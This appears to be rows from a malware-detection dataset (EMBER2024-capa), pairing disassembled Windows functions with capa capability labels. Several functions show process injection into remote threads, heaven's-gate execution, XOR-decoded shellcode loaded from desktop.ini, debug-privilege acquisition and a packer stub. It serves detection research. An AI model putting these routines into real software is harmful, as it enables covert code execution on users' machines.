joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001800
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x1041f004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push ecx
mov edi, ecx
call fcn.10001710
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
add esp, 4
movzx eax, al
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x24], 0
push 0x40
push 0x3000
push 0x982
push 0
push edi
call esi
push 0x40
push 0x3000
push 0x1ad800
push 0
push edi
mov ebx, eax
call esi
mov ecx, eax
mov dword [ebp - 0x28], ecx
test ebx, ebx
je 0x10001976
test ecx, ecx
je 0x10001976
movups xmm0, xmmword [0x1041ce48]
mov eax, dword [0x1041ce60]
mov esi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 8], eax
lea eax, [ebx + 0x192]
push 0
movups xmmword [ebp - 0x20], xmm0
push 0x1c
movq xmm0, qword [0x1041ce58]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x20]
push eax
push ebx
movq qword [ebp - 0x10], xmm0
push edi
mov dword [ebp - 0x10], ecx
call esi
test eax, eax
je 0x10001976
push 0
push 0x176
push str.VirtualProtect
lea eax, [ebx + 0x1c]
push eax
push edi
call esi
test eax, eax
je 0x10001976
push 0
push 0x7f0
push 0x1041c650
lea eax, [ebx + 0x192]
push eax
push edi
call esi
test eax, eax
je 0x10001976
push 0
push 0x1ad800
push 0x10019e18
push dword [ebp - 0x28]
push edi
call esi
test eax, eax
je 0x10001976
cmp dword [ebp - 0x2c], 0
je 0x10001940
push str.ZwCreateThreadEx
push 0x1041d01c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10001976
push 0
push 0
push 0
push 0
push 0
push 0
push ebx
push edi
push 0
push 0x1fffff
lea ecx, [ebp - 0x24]
push ecx
call eax
mov eax, dword [ebp - 0x24]
jmp 0x10001955
push 0
push 0
push 0
push ebx
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x24], eax
test eax, eax
je 0x10001976
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10002c08
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10002c08
mov esp, ebp
pop ebp
ret
Function at 0x10001f60
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0x10]
lea edx, [ebp + 0x14]
sub esp, 0x40
push ebx
push esi
push edi
test ecx, ecx
jle 0x10001f88
mov eax, dword [ebp + 0x14]
lea edx, [ebp + 0x1c]
dec ecx
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp + 0x10], ecx
mov dword [ebp - 0xc], eax
jmp 0x10001f90
xorps xmm0, xmm0
movlpd qword [ebp - 0x10], xmm0
test ecx, ecx
jle 0x10001fa9
dec ecx
add edx, 8
mov dword [ebp + 0x10], ecx
mov eax, dword [edx - 8]
mov dword [ebp - 0x18], eax
mov eax, dword [edx - 4]
mov dword [ebp - 0x14], eax
jmp 0x10001fb1
xorps xmm0, xmm0
movlpd qword [ebp - 0x18], xmm0
test ecx, ecx
jle 0x10001fca
dec ecx
add edx, 8
mov dword [ebp + 0x10], ecx
mov eax, dword [edx - 8]
mov dword [ebp - 0x20], eax
mov eax, dword [edx - 4]
mov dword [ebp - 0x1c], eax
jmp 0x10001fd2
xorps xmm0, xmm0
movlpd qword [ebp - 0x20], xmm0
test ecx, ecx
jle 0x10001feb
dec ecx
add edx, 8
mov dword [ebp + 0x10], ecx
mov eax, dword [edx - 8]
mov dword [ebp - 0x28], eax
mov eax, dword [edx - 4]
mov dword [ebp - 0x24], eax
jmp 0x10001ff3
xorps xmm0, xmm0
movlpd qword [ebp - 0x28], xmm0
mov eax, edx
mov dword [ebp - 4], 0
cdq
xorps xmm0, xmm0
mov dword [ebp - 0x40], eax
mov eax, ecx
mov dword [ebp - 0x3c], edx
cdq
movlpd qword [ebp - 0x38], xmm0
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], edx
mov dword [ebp - 4], esp
and esp, 0xfffffff0
push 0x33
call 0x10002021
add dword [esp], 5
retf

Function at 0x100020a0
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 8], edx
mov dword [ebp - 4], ecx
push ebx
push esi
push edi
test ecx, ecx
je 0x10002112
mov ecx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
test ecx, ecx
jne 0x100020c1
test eax, eax
je 0x10002112
test edx, edx
je 0x10002112
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], eax
push 0x33
call fcn.100020d2
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10002120
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5d4
push ebx
push esi
xorps xmm0, xmm0
push edi
movlpd qword [ebp - 0x10], xmm0
push 0x33
call 0x1000213b
add dword [esp], 5
retf

Function at 0x10002450
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1ac
mov eax, dword [0x1041f004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x10420290]
mov edx, dword [0x10420294]
push ebx
push esi
push edi
test eax, eax
jne 0x10002489
test edx, edx
jne 0x10002489
call fcn.10002120
mov dword [0x10420290], eax
mov dword [0x10420294], edx
mov dword [ebp - 0x128], edx
mov dword [ebp - 0x124], eax
test eax, eax
jne 0x100024b2
test edx, edx
jne 0x100024b2
xor eax, eax
xor edx, edx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10002c08
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x1a8]
mov dword [ebp - 0x130], eax
mov dword [ebp - 0x11c], ecx
mov dword [ebp - 0x12c], edx
push 0x33
call 0x100024d1
add dword [esp], 5
retf
Function at 0x40100b
Capabilities:
Query or enumerate registry value

Disassembly:
call 0x40100b
push eax
call sub.KERNEL32.dll_ExitProcess
push ebp
mov ebp, esp
add esp, 0xfffffef0
jmp 0x40109c
lea eax, [ebp - 0x104]
push eax
call fcn.004011ec
push 0x401019
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.dll_lstrcatA
push eax
call sub.KERNEL32.dll_LoadLibraryA
test eax, eax
jne 0x401165
lea eax, [ebp - 0x10c]
push eax
push 0x20019
push 0
push 0x401038
push 0x80000001
call sub.ADVAPI32.dll_RegOpenKeyExA
cmp eax, 0
jne 0x4011a5
mov dword [ebp - 0x110], 0x103
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x104]
push eax
push 0
push 0
push 0x401052
push dword [ebp - 0x10c]
call sub.ADVAPI32.dll_RegQueryValueExA
push eax
push dword [ebp - 0x10c]
call sub.ADVAPI32.dll_RegCloseKey
pop eax
cmp eax, 0
jne 0x4011a5
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.dll_lstrlenA
lea ebx, [ebp - 0x104]
add ebx, eax
dec ebx
cmp byte [ebx], 0x5c
je 0x40114a
mov word [ebx], 0x5c
push 0x401023
lea eax, [ebp - 0x104]
push eax
call sub.KERNEL32.dll_lstrcatA
push eax
call sub.KERNEL32.dll_LoadLibraryA
test eax, eax
je 0x4011a5
mov dword [ebp - 0x108], eax
push 0x40102d
push eax
call sub.KERNEL32.dll_GetProcAddress
test eax, eax
je 0x40119a
push 0x3e8
call eax
test eax, eax
je 0x40119a
call 0x40118a
add dword [esp], 0x1e76
call eax
push 0
call sub.KERNEL32.dll_ExitProcess
push dword [ebp - 0x108]
call sub.KERNEL32.dll_FreeLibrary
push 0x10
push 0x401096
push 0x401057
push 0
call sub.USER32.dll_MessageBoxA
mov eax, 0xffffffff
leave
ret

Function at 0x41fdcc
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
push ebx
xor eax, eax
mov ebx, dword fs:[0x18]
mov ecx, dword fs:[0x30]
test ecx, ecx
jns 0x41fe04
mov ecx, 0x530000
cmp dword [ebx + 0x58], ecx
jne 0x41fdf2
mov al, 1
jmp 0x41fe4e
cmp dword [ebx + 0x54], ecx
jne 0x41fdfb
mov al, 2
jmp 0x41fe4e
cmp dword [ebx + 0x7c], ecx
jne 0x41fe4e
mov al, 3
jmp 0x41fe4e
mov ebx, dword [ecx + 0xa8]
mov ecx, dword [ecx + 0xa4]
cmp ecx, 4
ja 0x41fe19
mov al, 4
jmp 0x41fe4e
cmp ecx, 5
jne 0x41fe39
cmp ebx, 0
jne 0x41fe27
mov al, 5
jmp 0x41fe4e
cmp ebx, 1
jne 0x41fe30
mov al, 6
jmp 0x41fe4e
cmp ebx, 2
jne 0x41fe39
mov al, 7
jmp 0x41fe4e
cmp ecx, 6
jne 0x41fe45
cmp ebx, 0
jne 0x41fe47
mov al, 8
jmp 0x41fe4e
cmp ebx, 1
jne 0x41fe4e
mov al, 9
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x7061b0
Capabilities:
Acquire debug privileges

Disassembly:
push ecx
lea eax, [esp]
mov dword [esp], 0
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [esp]
push 1
push str.SeBackupPrivilege
push ecx
call fcn.00706140
mov edx, dword [esp + 0xc]
push 1
push str.SeDebugPrivilege
push edx
call fcn.00706140
mov eax, dword [esp + 0x18]
push 1
push str.SeRestorePrivilege
push eax
call fcn.00706140
mov ecx, dword [esp + 0x24]
push 1
push str.SeSecurityPrivilege
push ecx
call fcn.00706140
mov edx, dword [esp + 0x30]
add esp, 0x30
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop ecx
ret

Function at 0x706bfa
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
lea eax, [ebp - 4]
push eax
push 0x20019
xor esi, esi
push esi
push str.CLSIDADB880A6_D8FF_11CF_9377_00AA003B7A11InprocServer32
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x706c50
lea eax, [ebp - 8]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], 0x104
push esi
push esi
push 0x71887c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x706c43
inc esi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
jmp 0x706c52
xor eax, eax
pop esi
leave
ret 4

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x430003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408ecc
nop
mov ecx, 0x672827e1
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x430024
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42e1d0
mov ecx, 0x2ec4898
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x430084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43006c
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x403a50
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push esi
mov esi, dword [esp + 8]
test esi, esi
je 0x403a77
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x403a6d
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop esi
ret
and al, 0xfe
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
pop esi
ret

Function at 0x403a80
Capabilities:
Delete file
Move file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x408e20
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x11c
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov esi, dword [ebp + 8]
test esi, esi
jne 0x403abf
or eax, 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 0xc]
test eax, eax
je 0x403aee
mov dword [ebp - 4], 0
push esi
call fcn.00403a50
push esi
call fcn.004036f0
add esp, 8
jmp 0x403ae7
mov dword [ebp - 4], 0xffffffff
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x403bae
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
jne 0x403b9a
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
mov byte [ebp - 0x128], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x127]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, dword [ebp - 0x16]
and ecx, 0xffff
push ecx
mov edx, dword [ebp - 0x18]
and edx, 0xffff
push edx
mov eax, dword [ebp - 0x1a]
and eax, 0xffff
push eax
mov ecx, dword [ebp - 0x1c]
and ecx, 0xffff
push ecx
mov edx, dword [ebp - 0x1e]
and edx, 0xffff
push edx
push esi
push str._s._x_x_x_x_x
push 0x103
lea eax, [ebp - 0x128]
push eax
call dword [sym.imp.MSVCRT.dll__snprintf]
add esp, 0x24
push 3
lea ecx, [ebp - 0x128]
push ecx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_MoveFileExA]
call esi
push 4
push 0
lea edx, [ebp - 0x128]
push edx
call esi
or eax, 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403c10
Capabilities:
Get file version info

Disassembly:
sub esp, 8
push ebx
push esi
mov esi, dword [esp + 0x14]
lea eax, [esp + 0xc]
push eax
push esi
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
call sub.VERSION.dll_GetFileVersionInfoSizeA
test eax, eax
mov dword [esp + 0x14], eax
jle 0x403c87
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ecx, dword [esp + 0x18]
add esp, 4
mov ebx, eax
push ebx
push ecx
push 0
push esi
call sub.VERSION.dll_GetFileVersionInfoA
test eax, eax
je 0x403c7a
lea edx, [esp + 0x14]
lea eax, [esp + 8]
push edx
push eax
push 0x40b8a0
push ebx
mov dword [esp + 0x24], 0
call sub.VERSION.dll_VerQueryValueA
test eax, eax
jne 0x403c8f
test ebx, ebx
je 0x403c87
push ebx
call fcn.00408b9c
add esp, 4
pop esi
xor eax, eax
pop ebx
add esp, 8
ret
mov esi, dword [esp + 8]
push edi
mov ecx, 0xd
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
test ebx, ebx
pop edi
je 0x403c87
mov ecx, dword [ebx + 8]
mov edx, dword [esp + 0x18]
shr ecx, 0x10
mov dword [edx], ecx
mov eax, dword [ebx + 8]
mov ecx, dword [esp + 0x1c]
and eax, 0xffff
push ebx
mov dword [ecx], eax
mov edx, dword [ebx + 0xc]
mov eax, dword [esp + 0x24]
shr edx, 0x10
mov dword [eax], edx
mov ecx, dword [ebx + 0xc]
mov edx, dword [esp + 0x28]
and ecx, 0xffff
mov dword [edx], ecx
call fcn.00408b9c
add esp, 4
mov eax, 1
pop esi
pop ebx
add esp, 8
ret
Function at 0x404040
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
sub esp, 0x14c
push esi
mov esi, dword [esp + 0x154]
test esi, esi
push edi
jne 0x40405e
pop edi
xor eax, eax
pop esi
add esp, 0x14c
ret
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ecx, 3
ja 0x404078
pop edi
pop esi
add esp, 0x14c
ret
mov eax, dword [esp + 0x15c]
test eax, eax
je 0x4040a0
push eax
push esi
call dword [sym.imp.MSVCRT.dll_strstr]
add esp, 8
test eax, eax
jne 0x4040a0
pop edi
mov eax, 1
pop esi
add esp, 0x14c
ret
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
push ebx
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ebp
mov ebp, ecx
mov ecx, 0x50
lea edi, [esp + 0x1c]
mov dword [esp + 0x18], ebp
lea ebx, [ebp + 5]
rep stosd dword es:[edi], eax
push ebx
call dword [sym.imp.MSVCRT.dll_malloc]
mov edi, eax
add esp, 4
test edi, edi
mov dword [esp + 0x10], edi
je 0x40421b
test ebx, ebx
jle 0x4040f4
lea eax, [ebp + 4]
push eax
push esi
push edi
call dword [sym.imp.MSVCRT.dll_strncpy]
add esp, 0xc
mov byte [edi + ebp + 4], 0
test ebx, ebx
mov ebx, dword [sym.imp.MSVCRT.dll_strncat]
jle 0x404110
lea ecx, [ebp + 4]
push ecx
push str..
push edi
call ebx
add esp, 0xc
mov byte [edi + ebp + 4], 0
lea edx, [esp + 0x1c]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
cmp esi, 0xffffffff
mov dword [esp + 0x14], esi
je 0x40420a
lea eax, [esp + 0x1c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x404203
cmp byte [esp + 0x48], 0x2e
je 0x4041ef
lea edi, [esp + 0x48]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edi, [ecx + ebp + 2]
push edi
call dword [sym.imp.MSVCRT.dll_malloc]
mov esi, eax
add esp, 4
test esi, esi
je 0x4041e7
test edi, edi
mov byte [esi], 0
jle 0x4041aa
mov ecx, dword [esp + 0x160]
lea ebp, [edi - 1]
push ebp
push ecx
push esi
call ebx
push ebp
push 0x40b8d0
push esi
mov byte [esi + edi - 1], 0
call ebx
lea edx, [esp + 0x60]
push ebp
push edx
push esi
mov byte [esi + edi - 1], 0
call ebx
mov ebp, dword [esp + 0x3c]
add esp, 0x24
mov byte [esi + edi - 1], 0
test byte [esp + 0x1c], 0x10
je 0x4041cc
mov eax, dword [esp + 0x168]
mov ecx, dword [esp + 0x164]
push eax
push ecx
push esi
call fcn.00404040
add esp, 0xc
jmp 0x4041dd
mov edx, dword [esp + 0x168]
push edx
push esi
call fcn.00403a80
add esp, 8
push esi
call dword [sym.imp.MSVCRT.dll_free]
add esp, 4
mov esi, dword [esp + 0x14]
mov edi, dword [esp + 0x10]
lea eax, [esp + 0x1c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40413f
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
push edi
call dword [sym.imp.MSVCRT.dll_free]
mov esi, dword [esp + 0x164]
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
pop ebp
pop ebx
pop edi
mov eax, 1
pop esi
add esp, 0x14c
ret
Function at 0x404430
Capabilities:
Check os version

Disassembly:
sub esp, 0x9c
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
push edi
mov ecx, 0x26
xor eax, eax
lea edi, [esp + 0xc]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
mov dword [esp + 8], 0x9c
push eax
call esi
test eax, eax
jne 0x40447b
lea ecx, [esp + 8]
mov dword [esp + 8], 0x94
push ecx
call esi
pop edi
mov eax, 1
pop esi
add esp, 0x9c
ret
mov eax, dword [esp + 0x18]
mov ecx, 2
cmp eax, ecx
jne 0x4044a7
mov eax, dword [esp + 0xc]
cmp eax, 5
jb 0x4044a7
jne 0x4044a7
cmp dword [esp + 0x10], ecx
jae 0x4044a7
pop edi
mov eax, 1
pop esi
add esp, 0x9c
ret
pop edi
xor eax, eax
pop esi
add esp, 0x9c
ret
Function at 0x4054c0
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x128
push ebp
xor ebp, ebp
push esi
push ebp
push 0xa
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
je 0x405542
push ebx
lea eax, [esp + 0xc]
push edi
push eax
push esi
mov dword [esp + 0x18], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x40552e
mov edi, dword [esp + 0x13c]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpiA]
lea ecx, [esp + 0x34]
push ecx
push edi
call ebx
test eax, eax
je 0x40551c
lea edx, [esp + 0x10]
push edx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x40552e
jmp 0x4054ff
mov eax, dword [esp + 0x140]
mov ecx, dword [esp + 0x18]
mov ebp, 1
mov dword [eax], ecx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop ebx
mov eax, ebp
pop esi
pop ebp
add esp, 0x128
ret
mov eax, ebp
pop esi
pop ebp
add esp, 0x128
ret

Function at 0x406f70
Capabilities:
Query environment variable

Disassembly:
sub esp, 0x104
push ebx
mov ebx, dword [esp + 0x110]
mov ecx, ebx
push ebp
mov ebp, dword [esp + 0x110]
push esi
mov edx, ecx
push edi
xor eax, eax
mov edi, ebp
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov byte [esp + 0x10], 0
and ecx, 3
mov esi, dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
rep stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x11]
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x14]
push eax
push str.ProgramFiles
call esi
call fcn.004053d0
test eax, eax
je 0x406ffa
mov al, byte [esp + 0x120]
test al, al
je 0x406ffa
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x10]
push 0x104
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x14]
push ecx
push str.ProgramFiles_x86_
call esi
lea edx, [esp + 0x10]
push edx
push str._sGatewaySSLVPN
push ebx
push ebp
call fcn.00407f10
add esp, 0x10
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x104
ret
Function at 0x407480
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x120
lea ecx, [esp + 8]
push ebx
push ebp
push esi
push edi
call fcn.004070f0
mov edi, dword [esp + 0x13c]
mov esi, 0x10008
test edi, edi
je 0x4074a8
mov esi, 0x10108
mov ebx, dword [esp + 0x138]
test ebx, ebx
jne 0x4074cc
lea ecx, [esp + 0x18]
call fcn.00407100
pop edi
pop esi
pop ebp
mov eax, 0x3f2
pop ebx
add esp, 0x120
ret
mov ebp, dword [esp + 0x134]
push edi
push ebx
push ebp
call fcn.004075b0
add esp, 0xc
lea eax, [esp + 0x10]
push eax
push esi
push 0
push ebx
push ebp
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x40758f
mov eax, dword [esp + 0x10]
push 0
push 0
push 0
lea ecx, [esp + 0x20]
push 0
lea edx, [esp + 0x40]
push ecx
push edx
push 0
push eax
mov dword [esp + 0x34], 0x100
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
mov esi, eax
cmp esi, 0x103
je 0x407548
test esi, esi
jne 0x407584
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x30]
push edi
push ecx
push edx
call fcn.00407480
mov esi, eax
add esp, 0xc
test esi, esi
je 0x4074f8
jmp 0x407584
lea ecx, [esp + 0x24]
call fcn.004070f0
push edi
push ebx
push ebp
call fcn.004075b0
add esp, 0xc
test edi, edi
je 0x407571
push edi
push ebx
push ebp
call fcn.00407410
mov esi, eax
add esp, 0xc
test esi, esi
je 0x40757b
push ebx
push ebp
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov esi, eax
lea ecx, [esp + 0x24]
call fcn.00407100
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0x18]
call fcn.00407100
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x120
ret